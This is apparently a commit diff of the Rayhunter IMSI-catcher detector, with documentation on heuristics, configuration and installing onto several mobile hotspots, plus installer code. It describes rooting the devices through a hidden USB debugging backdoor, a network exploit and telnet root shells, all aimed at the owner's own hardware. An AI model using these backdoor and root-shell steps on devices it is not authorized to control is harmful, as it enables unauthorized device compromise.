</div>
<div class="flex flex-col gap-2">
<span class="text-xl">History</span>
<ManifestTable {entries} server_is_recording={!!current_entry} />
<ManifestTable {entries} server_is_recording={!!current_entry} {manager} />
</div>
<DeleteAllButton />
<ConfigForm />
+5 -1
View File
@@ -22,6 +22,9 @@ ui_level = 1
# 1 = double-tapping the power button starts/stops recordings
key_input_mode = 0
# If set, attempts to send a notification to the url when a new warning is triggered
# ntfy_url =
# Analyzer Configuration
# Enable/disable specific IMSI catcher detection heuristics
# See https://github.com/EFForg/rayhunter/blob/main/doc/heuristics.md for details
@@ -29,6 +32,7 @@ key_input_mode = 0
imsi_requested = true
connection_redirect_2g_downgrade = true
lte_sib6_and_7_downgrade = true
null_cipher = true
null_cipher = true
nas_null_cipher = true
incomplete_sib = true
test_analyzer = false
Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 144 KiB

+2
View File
@@ -16,7 +16,9 @@
- [TP-Link M7350](./tplink-m7350.md)
- [TP-Link M7310](./tplink-m7310.md)
- [Tmobile TMOHS1](./tmobile-tmohs1.md)
- [UZ801](./uz801.md)
- [Wingtech CT2MHS01](./wingtech-ct2mhs01.md)
- [PinePhone and PinePhone Pro](./pinephone.md)
- [Moxee Hotspot](./moxee.md)
- [Support, feedback, and community](./support-feedback-community.md)
- [Frequently Asked Questions](./faq.md)
+17 -2
View File
@@ -1,5 +1,20 @@
# Configuration
Rayhunter can be configured by editing `/data/rayhunter/config.toml` on the device. You can obtain a shell on [orbic](./orbic.md#obtaining-a-shell) and [tplink](./tplink-m7350.md#obtaining-a-shell) and edit the file manually. In future versions the web UI will allow you to edit the config as well.
Rayhunter can be configured through web user interface or by editing `/data/rayhunter/config.toml` on the device.
View the [default configuration file on GitHub](https://github.com/EFForg/rayhunter/blob/main/dist/config.toml.in).
![rayhunter_config](./rayhunter_config.png)
Through web UI you can set:
- **Device UI Level**, which defines what Rayhunter shows on device's built-in screen. *Device UI Level* could be:
- *Invisible mode*: Rayhunter does not show anything on the built-in screen
- *Subtle mode (colored line)*: Rayhunter shows green line if there are no warnings, red line if there are warnings (warnings could be checked through web UI) and white line if Rayhunter is not recording
- *Demo mode (orca gif)*, which shows image of orca fish *and* colored line
- *EFF logo*, which shows EFF logo and *and* colored line.
- **Device Input Mode**, which defines behaviour of built-in power button of the device. *Device Input Mode* could be:
- *Disable button control*: built-in power button of the device is not used by Rayhunter;
- *Double-tap power button to start/stop recording*: double clicking on a built-in power button of the device stops and immediatelly restarts the recording. This could be useful if Rayhunter's heuristichs is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
- **ntfy URL for Sending Notifications**, which allows setting a [ntfy](https://ntfy.sh/) URL to which notifications of new detections will be sent. The topic should be unique to your device, e.g., `https://ntfy.sh/rayhunter_notifications_ba9di7ie` or `https://myserver.example.com/rayhunter_notifications_ba9di7ie`. The ntfy Android and iOS apps can then be used to receive notifications. More information can be found in the [ntfy docs](https://docs.ntfy.sh/).
- **Colorblind Mode** enables color blind mode (blue line is shown instead of green line, red line remains red). Please note that this does not cover all types of color blindness, but switching green to blue should be about enough to differentiate the color change for most types of color blindness.
- With **Analyzer Heuristic Settings** you can switch on or off built-in [Rayhunter heuristics](heuristics.md). Some heuristics are experimental or can trigger a lot of false positive warnings in some networks (our tests have shown that some heuristics have different behaviour in US or European networks). In that case you can decide whether you would like to have the heuristics that trigger a lot of false positives on or off. Please note that we are constantly improving and adding new heuristics, so new release may reduce false positives in existing heuristics as well.
If you prefer editing `config.toml` file, you need to obtain a shell on your [Orbic](./orbic.md#obtaining-a-shell) or [TP-Link](./tplink-m7350.md#obtaining-a-shell) device and edit the file manually. You can view the [default configuration file on a GitHub](https://github.com/EFForg/rayhunter/blob/main/dist/config.toml.in).
+4 -4
View File
@@ -25,15 +25,15 @@ If you want to use a non-Verizon SIM card you will probably need an unlocked dev
Make sure USB tethering is also enabled in the Orbic's UI, and then run the following commands:
```sh
installer util shell "echo 9 > /usrdata/mode.cfg"
installer util shell reboot
./installer util shell "echo 9 > /usrdata/mode.cfg"
./installer util shell reboot
```
To disable tethering again:
```sh
installer util shell "echo 3 > /usrdata/mode.cfg"
installer util shell reboot
./installer util shell "echo 3 > /usrdata/mode.cfg"
./installer util shell reboot
```
See `/data/usb/boot_hsusb_composition` for a list of USB modes and Android USB gadget settings.
+54 -19
View File
@@ -1,24 +1,59 @@
# Heuristics
Rayhunter includes several analyzers to detect potential IMSI catcher activity. These can be enabled and disabled in your [config.toml](./configuration.md) file.
Rayhunter includes several analyzers to detect potential IMSI catcher activity. These can be enabled and disabled in your [configuration](./configuration.md) file.
## Available Analyzers
- **IMSI Requested**: Tests whether the eNodeB sends an IMSI Identity Request NAS message. This
can sometimes happen under normal circumstances when the network doesn't already have a TMSI
(Temporary Mobile Subscriber ID or GUTI in 5G terminology) for your device. This most often
happens when you first turn the device on, especially after it has been off for a long time or
if you are in an area where ther is absolutely no connection to your service provider. This can
also happen if you leave your device on while on an airplane and it suddenly connects to a new
tower after being disconnected for a long time.
However, if you get this warning at a time when you have been steadily connected to towers and the device has been on for a while it can be treated as suspcious.
- **Connection Release/Redirected Carrier 2G Downgrade**: Tests if a cell
releases our connection and redirects us to a 2G cell. This heuristic only
makes sense in the US or other countries where there are no more operating 2G base stations.
Users in contries where 2G is still in service (such as most of EU) may want to disable it.
See https://en.wikipedia.org/wiki/2G#Past_2G_networks for information about your country.
- **LTE SIB6/7 Downgrade**: Tests for LTE cells broadcasting a SIB type 6 and 7
which include 2G/3G frequencies with higher priorities
- **Null Cipher**: Tests whether the cell suggests using a null cipher (EEA0) in the RRC layer.
- **NAS Null Cipher**: Tests whether the security mode command at the NAS layer suggests using a null cipher (EEA0). This would usually only happen after a UE has successfully authenticated with the MME but still it shouldn't happen at all, this could be indicative of an attack though using SS7 to get key material from the HLR of the UE for a succesful authentication. It could also indicate an IMSI catcher which is connected to the mobile network MME and HLR through cooperation between government and telco. Or it could be a false positive if the telco is intending to use null ciphers (if encryption is illegal or something.)
- **Incomplete SIB**: Tests whether the SIB1 message contains a complete SIB chain (SIB3, SIB5, etc.) A legitimate SIB1 should contain timing information for at least 2 additional sibs (sib3, 4, and 5 being the most common) but a fake base station will often not bother to send additional SIBs beyond 1 and 2. On its own this might just be a misconfigured base station (though we have only seen it in the wild under suspicious circumstances) but combined with other heuristics such as **ISMI Requested** detection it should be considered a strong indicator of malicious activity.
### IMSI Requested
This analyser tests whether the eNodeB sends an IMSI Identity Request NAS message.
Mobile network primarily requests IMSI number from mobile device during initial network attachment or when the network cannot identify the mobile device by its temporary identification (TMSI - *Temporary Mobile Subscriber Identity* or GUTI - *Globally Unique Temporary Identifier* in 4G/5G terminology).
IMSI request therefore usually happens when you first turn the device on especially after it has been off for a long time. Another possibility is, that you reboot your mobile device and your temporary ID expired. Sometimes temporary identification can expire if you have been in an area where there is absolutely no connection to your service provider or after you left your device on an airplane mode and then reconnect to the network (especially being disconnected for a long time). IMSI could also be requested when you connect to a new network (for instance for roaming), when you swap she SIM card or when your device moves to a new *Tracking Area* or *Location Area* and the network can not map the temporary identification to your device. IMSI number can also be requested after core network reboot.
It should also be noted that the network periodically reassigns your device new temporary identification to enhance security and avoid tracking, but in that cases usually does not request IMSI.
However, if you get this warning at a time when you have been steadily connected to towers and the device has been on for a while, this could be a sign of IMSI catcher use.
### Connection Release/Redirected Carrier 2G Downgrade
This analyser tests if a base station releases your device's connection and redirects your device to a 2G base station. This heuristics is useful, because many commercial IMSI catchers operate in a such way that they downgrade connection to 2G where they can intercept the communication (by performing man-in-the-middle attack).
This heuristic is the most useful in the United States or other countries where there are no more operating 2G base stations. See [Wikipedia page on past 2G networks](https://en.wikipedia.org/wiki/2G#Past_2G_networks) for information about your country. In countries where 2G is still in service (such as most of EU), this heuristics may trigger false positives. In that case you should consider disabling it. However this heuristics has been vastly improved to reduce false positive warnings and new tests in European networks show that false positives are vastly reduced.
### LTE SIB6/7 Downgrade
This analyser tests if LTE base station is broadcasting a SIB type 6 and 7 messages which include 2G/3G frequencies with higher priorities.
SIB (*System Information Block*) Type 6 and 7 are specific types of broadcast messages sent by the base station (eNodeB in 4G networks) to mobile devices. They contain essential radio-related configuration parameters to help mobile device perform cell reselection.
IMSI catchers exploit the fact that many SIB broadcast messages are not encrypted or authenticated. This allows them to pretend to be a legitimate cell by broadcasting fake system information in order to force mobile devices to downgrade from more secure 4G (LTE) to less secure 2G (GSM) network and then steal IMSI and/or perform man-in-the-middle attack. That is why this is also called a downgrade attack.
SIB6 is used for cell reselecion to CDMA2000 systems which are not supported by many modern mobile phones, and SIB7 Provides the mobile device with information to perform cell reselection to GSM/EDGE networks. Therefore SIB6 messages are quite rare, while malformed SIB7 messages are much more frequent in practice.
### Null Cipher
This analyser tests whether the cell suggests using a null cipher (EEA0) in the RRC layer. That means that encryption between your mobile device and base station is turned off.
Normally this should never happen, because null cipher is used almost exclusively for testing and debugging in labs or in controlled environments. Sometimes null cipher is used if encryption negotiation fails or isnt supported (however in most networks this should not be the case). Also, some regulations allow unencrypted communications in **specific** emergency cases.
The general rule is, that null cipher should never be used in commercial deployments, except in very controlled conditions (e.g., test labs) or in a very specific regulatory-approved use cases.
On the other hand, IMSI catchers often use null cipher to avoid setting up secure contexts (because they lack valid keys) and/or to trick mobile device into using unencrypted links (which makes eavesdropping easier).
### NAS Null Cipher
This analyser tests whether the security mode command at the NAS layer suggests using a null cipher (EEA0). This would usually only happen after a mobile device has successfully authenticated with the MME (*Mobility Management Entity* - core network component that handles signaling and control) but still it shouldn't happen at all. This could be indicative of an attack though using SS7 (*Signaling System 7* - a set of telecommunication protocols used to set up and manage calls and other services) to get key material from the HLR (*Home Location Register* - a database in mobile telecommunications networks that stores subscriber information) of the mobile phone for a successful authentication.
It could also indicate an IMSI catcher which is connected to the mobile network MME and HLR through cooperation between government and telecom provider. Or it could be a false positive if the telecom provider is intending to use null ciphers (if encryption is illegal in some country, or they have some misconfiguration of the network), however this should be very rare case.
### Incomplete SIB
This analyser tests whether the SIB1 message contains a complete SIB chain (SIB3, SIB5, etc.). A legitimate SIB1 message should contain timing information for at least 2 additional SIBs (SIB3, 4, and 5 being the most common) but a fake base station will often not bother to send additional SIBs beyond 1 and 2 (i. e. some IMSI catchers send just SIB1 and *one additional* SIB).
On its own this might just be a misconfigured base station (though we have only seen it in the wild under suspicious circumstances) but combined with other heuristics such as **IMSI Requested** detection it should be considered as a strong indicator of malicious activity.
### Test Analyzer
This analyzer is great for testing if your Rayhunter installation works. It will alert every time a new tower is seen (specifically every time a tower broadcasts a SIB1 message.) It is designed to be very noisey so we do not reccomend leaving it on but if this alerts it means your Rayhunter device is working!
+11 -4
View File
@@ -4,13 +4,20 @@ Windows support in Rayhunter's installer is a work-in-progress. Depending on the
## TP-Link
1. Connect the device via WiFi or USB Tethering -- you should be able to view the TP-Link admin page on <http://192.168.0.1>.
2. Download the latest release (must be at least 0.3.0) for windows-x86_64, and unpack the zipfile.
3. Open PowerShell or CMD in that extracted folder, the installer: `./installer tplink`
4. Follow the instructions on the screen, if there are any.
1. Insert a FAT-formatted SD card. This will be used to store all recordings.
2. Connect the device via WiFi or USB Tethering -- you should be able to view the TP-Link admin page on <http://192.168.0.1>.
3. Download the latest release (must be at least 0.3.0) for windows-x86_64, and unpack the zipfile.
4. Open PowerShell or CMD in that extracted folder, the installer: `./installer tplink`
5. Follow the instructions on the screen, if there are any.
## Orbic
<div class=warning><strong>
[The Windows installer is known to be buggy](https://github.com/EFForg/rayhunter/issues/366). Consider using the [Network-based installer](./orbic.md#the-network-installer).
</strong></div>
1. Connect the device to your computer using the provided USB cable.
1. Install the [Zadig WinUSB driver installer](https://zadig.akeo.ie/).
1. Open Zadig, click options->show all devices
+6 -5
View File
@@ -2,7 +2,8 @@
Make sure you've got one of Rayhunter's [supported devices](./supported-devices.md). These instructions have only been tested on macOS and Ubuntu 24.04. If they fail, you will need to [install Rayhunter from source](./installing-from-source.md).
1. Download the latest `rayhunter-vX.X.X-PLATFORM.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases) for your platform:
1. For the TP-Link only, insert a FAT-formatted SD card. This will be used to store all recordings.
2. Download the latest `rayhunter-vX.X.X-PLATFORM.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases) for your platform:
- for Linux on x64 architecture: `linux-x64`
- for Linux on ARM64 architecture: `linux-aarch64`
- for Linux on armv7/v8 (32-bit) architecture: `linux-armv7`
@@ -10,19 +11,19 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
- for MacOS on ARM (M1/M2 etc.) architecture: `macos-arm`
- for Windows: `windows-x86_64`
2. Decompress the `rayhunter-vX.X.X-PLATFORM.zip` archive. Open the terminal and navigate to the folder. (Be sure to replace X.X.X with the correct version number!)
3. Decompress the `rayhunter-vX.X.X-PLATFORM.zip` archive. Open the terminal and navigate to the folder. (Be sure to replace X.X.X with the correct version number!)
```bash
unzip ~/Downloads/rayhunter-vX.X.X-PLATFORM.zip
cd ~/Downloads/rayhunter-vX.X.X-PLATFORM
```
3. Turn on your device by holding the power button on the front.
4. Turn on your device by holding the power button on the front.
* For the Orbic, connect the device using a USB-C cable.
* For TP-Link, connect to its network using either WiFi or USB Tethering.
4. Run the installer:
5. Run the installer:
```bash
# On MacOS, you must first remove the quarantine bit
@@ -39,7 +40,7 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
You will know it is done when you see terminal output that says `Testing Rayhunter... done`
5. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter.md). You should also see a green line flash along the top of top the display on the device.
6. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter.md). You should also see a green line flash along the top of top the display on the device.
## Troubleshooting
+5 -1
View File
@@ -36,10 +36,14 @@ rustup target add x86_64-pc-windows-gnu
Now you can root your device and install Rayhunter by running:
```sh
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features orbic
# Profile can be changed to 'firmware-devel' when building for development.
# Build time will decrease at the expense of binary size.
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware
cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile firmware
# Replace 'orbic' with your device type if different.
# A list possible values can be found with 'cargo run --bin installer help'.
cargo run --bin installer orbic
```
+43
View File
@@ -0,0 +1,43 @@
# KonnectONE Moxee Hotspot (K779HSDL)
Supported in Rayhunter since version 0.6.0.
The Moxee Hotspot is a device very similar to the Orbic RC400L. It seems to be
primarily for the US market.
- [KonnectONE product page](https://www.konnectone.com/specs-hotspot)
- [Moxee product page](https://www.moxee.com/hotspot)
## Supported bands
According to [FCC ID 2APQU-K779HSDL](https://fcc.report/FCC-ID/2APQU-K779HSDL), the device supports the following LTE bands:
| Band | Frequency |
|------|-------------------------|
| 2 | 1900 MHz (PCS) |
| 4 | 1700/2100 MHz (AWS-1) |
| 5 | 850 MHz (CLR) |
| 12 | 700 MHz (Lower SMH) |
| 13 | 700 MHz (Upper SMH) |
| 25 | 1900 MHz (Extended PCS) |
| 26 | 850 MHz (Extended) |
| 41 | 2500 MHz (TDD) |
| 66 | 1700/2100 MHz (E-AWS) |
| 71 | 600 MHz |
## Installation
Connect to the hotspot's network using WiFi or USB tethering and run:
```sh
./installer orbic-network
```
The installation will ask you to log into the admin UI using a custom URL. The
password for that is under the battery.
## Obtaining a shell
```sh
./installer util orbic-start-telnet
```
+17
View File
@@ -19,8 +19,25 @@ or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l).
| Wifi 5Ghz | a/ac/ax |
| Wifi 6 | 🮱 |
## The Network Installer
Since Rayhunter 0.6.0 there is an alternative, experimental installation
procedure at `./installer orbic-network` that is supposed to eventually replace
`./installer orbic`. It does not require any USB driver installation and works
identically on Windows, Mac and Linux. From our testing it works much more
reliably on Windows than `./installer orbic` does.
The drawback is that the device's admin password is required. If you have a Kajeet-branded "SmartSpot" you currently have to use the USB-based `./installer orbic`, as we currently don't know of a way to get that admin password.
1. Connect to the Orbic's network via WiFi or USB tethering
2. Run `./installer orbic-network`
3. The installer will ask you to log into the admin UI on `localhost:4000`. The password for that is the same as the WiFi password.
4. As soon as you're logged in, the installer will continue and reboot the device.
## Obtaining a shell
After running through the installation procedure, you can obtain a root shell
by running `adb shell` or `./installer util shell`. Then, inside of that shell
you can run `/bin/rootshell` to obtain "fakeroot."
If you are using the network installer, there will not be a rootshell and ADB will not be enabled by the installer. Instead you can use `./installer util orbic-start-telnet` and connect to the hotspot using `nc 192.168.1.1 23`. On Windows you might not have `nc` and will have to use WSL for that.
+4 -2
View File
@@ -35,12 +35,14 @@ The modem is fully capable of running Rayhunter, but lacks both a screen and a n
Note that the Quectel EG25-G does not support LTE band 48 (CBRS 3500MHz), used in the US for unlicensed 4G/5G connectivity.
## Installing
Download and extract the installer *on a shell on the PinePhone itself*. Unlike other Rayhunter installers, this has to be run on the device itself. Then run:
```sh
./installer pinephone
```
## Accessing rayhunter
Because the modem does not have its own display or network interface, rayhunter is only accessible on the pinephone by forwarding tcp over adb.
## Accessing Rayhunter
Because the modem does not have its own display or network interface, Rayhunter is only accessible on the pinephone by forwarding tcp over adb.
```sh
adb forward tcp:8080 tcp:8080
Binary file not shown.

After

Width:  |  Height:  |  Size: 48 KiB

+2
View File
@@ -24,6 +24,8 @@ Rayhunter is confirmed to work on these devices.
| [Tmobile TMOHS1](./tmobile-tmohs1.md) | Americas |
| [TP-Link M7310](./tplink-m7310.md) | Africa, Europe, Middle East |
| [PinePhone and PinePhone Pro](./pinephone.md) | Global |
| [FY UZ801](./uz801.md) | Asia, Europe |
| [Moxee hotspot](./moxee.md) | Americas |
## Adding new devices
Rayhunter was built and tested primarily on the Orbic RC400L mobile hotspot, but the community has been working hard at adding support for other devices. Theoretically, if a device runs a Qualcomm modem and exposes a `/dev/diag` interface, Rayhunter may work on it.
+15
View File
@@ -22,3 +22,18 @@ Your device is now Rayhunter-free, and should no longer be in a rooted ADB-enabl
4. `update-rc.d rayhunter_daemon remove`
5. (hardware revision v4.0+ only) In `Settings > NAT Settings > Port Triggers` in TP-Link's admin UI, remove any leftover port triggers.
## UZ801
0. (Optional): Back up the qmdl folder with all of the captures:
`adb pull /data/rayhunter/qmdl .`
1. Run `adb shell` to get a root shell on the device
2. Delete the /data/rayhunter folder: `rm -rf /data/rayhunter`
3. Modify the initmifiservice.sh script to remove the rayhunter
startup line:
```sh
mount -o remount,rw /system
busybox vi /system/bin/initmifiservice.sh
```
Then type 999G (shift+g), then type dd. Then press the colon key (:) and type wq. Finally, press Enter.
4. Lastly, run `setprop persist.sys.usb.config rndis`.
5. Type `reboot` to reboot the device.
+2 -4
View File
@@ -2,7 +2,7 @@
Once installed, Rayhunter will run automatically whenever your device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn red](./faq.md#red) once a potential IMSI catcher has been found, until the device is rebooted or a new recording is started through the web UI.
![Rayhunter_0 3 2](./Rayhunter_0.3.2.png)
![Rayhunter_0 5 0](./Rayhunter_0.5.0.png)
It also serves a web UI that provides some basic controls, such as being able to start/stop recordings, download captures, delete captures, and view heuristic analyses of captures.
@@ -28,6 +28,4 @@ You can access this UI in one of two ways:
## Key shortcuts
As of 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well.
**This feature is disabled by default since 0.4.0** and needs to be enabled through [configuration](./configuration.md).
As of Rayhunter verion 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well. This feature is disabled by default since Rayhunter version 0.4.0 and needs to be enabled through [configuration](./configuration.md).
+67
View File
@@ -0,0 +1,67 @@
# UZ801
The UZ801 is a 4G/LTE USB modem which is built on top of a Qualcomm Snapdragon 410 (MSM8916, with MDM8916 modem.) It does not have a screen, but it does have LEDs which can be used to signal the same status as the green/red bar on the Orbic hotspot. It uses a custom Android-based firmware with limited coreutils. More information about this device can be found [here](https://github.com/AlienWolfX/UZ801-USB_MODEM/wiki/Overview)
It is worth noting that even though the Snapdragon 410 is a quad-core SoC, the CPU has only 2 of the cores enabled on the stock Android-based firmware, probably to avoid overheating as they did not exactly engineer any cooling solution. Regardless, even with 2 disabled cores there is plenty of compute overhead. There are 384MB of RAM on the SoC, and 4GB of eMMC in the form of an SK Hynix NAND flash chip located external to the SoC.
Rayhunter has been tested on UZ801 devices with firmware supporting USB debugging backdoor access. It is not certain whether all of the sticks that use this board will be compatible with the automated installer, or even with any alternative manual installation method. Please consider sharing your device's firmware version and hardware information [here](https://github.com/EFForg/rayhunter/discussions/479) to help improve compatibility.
## Where to purchase
There are several option to purchase this device:
1. AliExpress:
- [1](https://www.aliexpress.us/item/3256808999940005.html)
- [2](https://www.aliexpress.us/item/3256809191207903.html)
- [3](https://www.aliexpress.us/item/3256809191207903.html)
2. eBay:
- [1](https://www.ebay.com/itm/394512588226)
- [2](https://www.ebay.com/itm/195655408253)
- [3](https://www.ebay.com/itm/116678550086)
3. Amazon:
- [1](https://www.amazon.com/150Mbps-Adapter-Network-Lightweight-Portable/dp/B0DQC64ZFS)
- [2](https://www.amazon.com/Heayzoki-Network-Adapter-Wireless-Connection/dp/B0CG4W31M4)
## Supported bands
The UZ801 supports various LTE bands depending on the specific hardware revision and carrier customization. Check your device specifications for the exact band support.
The most frequent bands found on these devices are LTE bands 1/3/5/8/20. In the US, this means that Verizon's band 5 towers are the only towers that this device could communicate with in its normal usage as an LTE modem. Research on whether Qualcomm diagnostic tools can be used to write new band support into the NVRAM is pending.
## Installing
With the device fully booted (i.e. beaming a wifi network, blue LED, etc.) and plugged into the computer that is performing the installation, run:
```sh
./installer uz801
```
Note: The default IP for UZ801 is typically `192.168.100.1`; if yours differs, use the `--admin-ip` argument to specify it.
## LED modes
| Rayhunter state | LED indicator |
| ---------------- | ------------------- |
| Recording | Green LED solid on |
| Paused | WiFi (blue) LED solid on |
| Warning Detected | Red LED solid on |
Note: Unlike the TMOHS1, the UZ801 uses solid LED indicators instead of blinking patterns.
## Obtaining a shell
The UZ801 supports ADB access after the USB debugging backdoor is activated.
```sh
adb shell
```
## Device-specific notes
The UZ801 uses a unique installation process that activates a hidden USB debugging backdoor.
The installation process works as follows:
1. Activates the USB debugging backdoor via HTTP AJAX request
2. Waits for device reboot and ADB availability
3. Uses ADB to install rayhunter files and modify the startup script
4. Launches rayhunter daemon automatically
- The UZ801 does not symlink busybox for some core system utils, for some reason. Please use `busybox <utility_name>`, e.g. `busybox df -h`.
- USB debugging must be activated via the web backdoor before ADB access is possible (this is required only once.) The installer does this already.
- The device uses `/system/bin/initmifiservice.sh` as the main startup script.
+36 -1
View File
@@ -8,7 +8,7 @@ The Wingtech CT2MHS01 hotspot is a Qualcomm mdm9650-based device with a screen a
There are likely variants of the device for all three ITU regions.
According to FCC ID 2APXW-CT2MHS01 Test Report No. [I20N02441-RF-LTE](https://apps.fcc.gov/eas/GetApplicationAttachment.html?id=4957451), the ITU Region 2 American version of the device supports the following LTE bands:
According to FCC ID 2APXW-CT2MHS01 Test Report No. [I20N02441-RF-LTE](https://fcc.report/FCC-ID/2APXW-CT2MHS01/4957451), the ITU Region 2 American version of the device supports the following LTE bands:
| Band | Frequency |
| ---- | ---------------- |
@@ -67,3 +67,38 @@ WT_HARDWARE_VERSION=89323_1_20
```
Please consider sharing the contents of your device's /etc/wt_version file here.
## Troubleshooting
### My hotspot won't turn on after rebooting when installing over WiFi
Reinsert the battery and turn the device back on, Rayhunter should be installed and running. Sometimes the Wingtech hotspot gets stuck off and ignores the power button after a reboot until the battery is reseated.
You do not need to run the installer again.
You'll likely see the following messages, where the installer is stuck at `Testing rayhunter ... `.
```sh
Starting telnet ... ok
Connecting via telnet to 192.168.1.1 ... ok
Sending file /data/rayhunter/config.toml ... ok
Sending file /data/rayhunter/rayhunter-daemon ... ok
Sending file /etc/init.d/rayhunter_daemon ... ok
Rebooting device and waiting 30 seconds for it to start up.
Testing rayhunter ...
```
If you eventually see:
```sh
Testing rayhunter ...
Failed to install rayhunter on the Wingtech CT2MHS01
Caused by:
0: error sending request for url (http://192.168.1.1:8080/index.html)
1: client error (Connect)
2: tcp connect error: Network is unreachable (os error 101)
3: Network is unreachable (os error 101)
```
Make sure your computer is connected to the hotspot's wifi network.
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "installer"
version = "0.5.0"
version = "0.6.0"
edition = "2024"
[dependencies]
+30
View File
@@ -3,10 +3,12 @@ use clap::{Parser, Subcommand};
use env_logger::Env;
mod orbic;
mod orbic_network;
mod pinephone;
mod tmobile;
mod tplink;
mod util;
mod uz801;
mod wingtech;
pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.in");
@@ -25,8 +27,14 @@ struct Args {
enum Command {
/// Install rayhunter on the Orbic Orbic RC400L.
Orbic(InstallOrbic),
/// Install rayhunter on the Orbic RC400L or Moxee Hotspot via network.
///
/// This is an experimental installer for Orbic that does not require USB drivers on Windows.
OrbicNetwork(OrbicNetworkArgs),
/// Install rayhunter on the TMobile TMOHS1.
Tmobile(TmobileArgs),
/// Install rayhunter on the Uz801.
Uz801(Uz801Args),
/// Install rayhunter on a PinePhone's Quectel modem.
Pinephone(InstallPinephone),
/// Install rayhunter on the TP-Link M7350.
@@ -63,6 +71,13 @@ struct InstallTpLink {
#[derive(Parser, Debug)]
struct InstallOrbic {}
#[derive(Parser, Debug)]
struct OrbicNetworkArgs {
/// IP address for Orbic admin interface, if custom.
#[arg(long, default_value = "192.168.1.1")]
admin_ip: String,
}
#[derive(Parser, Debug)]
struct InstallPinephone {}
@@ -82,6 +97,8 @@ enum UtilSubCommand {
TmobileStartAdb(TmobileArgs),
/// Root the Tmobile and launch telnetd.
TmobileStartTelnet(TmobileArgs),
/// Root the Uz801 and launch adb.
Uz801StartAdb(Uz801Args),
/// Root the tplink and launch telnetd.
TplinkStartTelnet(TplinkStartTelnet),
/// Root the Wingtech and launch telnetd.
@@ -92,6 +109,8 @@ enum UtilSubCommand {
PinephoneStartAdb,
/// Lock the Pinephone's modem and stop adb.
PinephoneStopAdb,
/// Root the Orbic and launch telnetd.
OrbicStartTelnet(OrbicNetworkArgs),
/// Send a file to the TP-Link device over telnet.
///
/// Before running this utility, you need to make telnet accessible with `installer util
@@ -115,6 +134,13 @@ struct TmobileArgs {
admin_password: String,
}
#[derive(Parser, Debug)]
struct Uz801Args {
/// IP address for Uz801 admin interface, if custom.
#[arg(long, default_value = "192.168.100.1")]
admin_ip: String,
}
#[derive(Parser, Debug)]
struct TplinkStartTelnet {
/// IP address for TP-Link admin interface, if custom.
@@ -168,10 +194,12 @@ async fn run() -> Result<(), Error> {
match command {
Command::Tmobile(args) => tmobile::install(args).await.context("Failed to install rayhunter on the Tmobile TMOHS1. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
Command::Uz801(args) => uz801::install(args).await.context("Failed to install rayhunter on the Uz801. Make sure your computer is connected to the hotspot using USB.")?,
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
Command::Pinephone(_) => pinephone::install().await
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?,
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
Command::Util(subcommand) => match subcommand.command {
UtilSubCommand::Serial(serial_cmd) => {
@@ -195,6 +223,7 @@ async fn run() -> Result<(), Error> {
UtilSubCommand::Shell => orbic::shell().await.context("\nFailed to open shell on Orbic RC400L")?,
UtilSubCommand::TmobileStartTelnet(args) => wingtech::start_telnet(&args.admin_ip, &args.admin_password).await.context("\nFailed to start telnet on the Tmobile TMOHS1")?,
UtilSubCommand::TmobileStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Tmobile TMOHS1")?,
UtilSubCommand::Uz801StartAdb(args) => uz801::activate_usb_debug(&args.admin_ip).await.context("\nFailed to activate USB debug on the Uz801")?,
UtilSubCommand::TplinkStartTelnet(options) => {
tplink::start_telnet(&options.admin_ip).await?;
}
@@ -208,6 +237,7 @@ async fn run() -> Result<(), Error> {
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?,
UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?,
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
}
}
+42 -16
View File
@@ -1,3 +1,6 @@
#[cfg(target_os = "windows")]
use std::io::stdin;
use std::io::{ErrorKind, Write};
use std::path::Path;
use std::time::Duration;
@@ -30,6 +33,13 @@ On macOS or windows this might be caused by another program using the Orbic.
Please close any program that might be using your Orbic.
If you have adb installed you may need to kill the adb daemon"#;
#[cfg(target_os = "windows")]
const WINDOWS_WARNING: &str = r#""WINDOWS IS NOT FULLY SUPPORTED
THIS MAY BRICK YOUR DEVICE
PLEASE INSTALL FROM MACOS OR LINUX INSTEAD IF POSSIBLE"#;
const VENDOR_ID: u16 = 0x05c6;
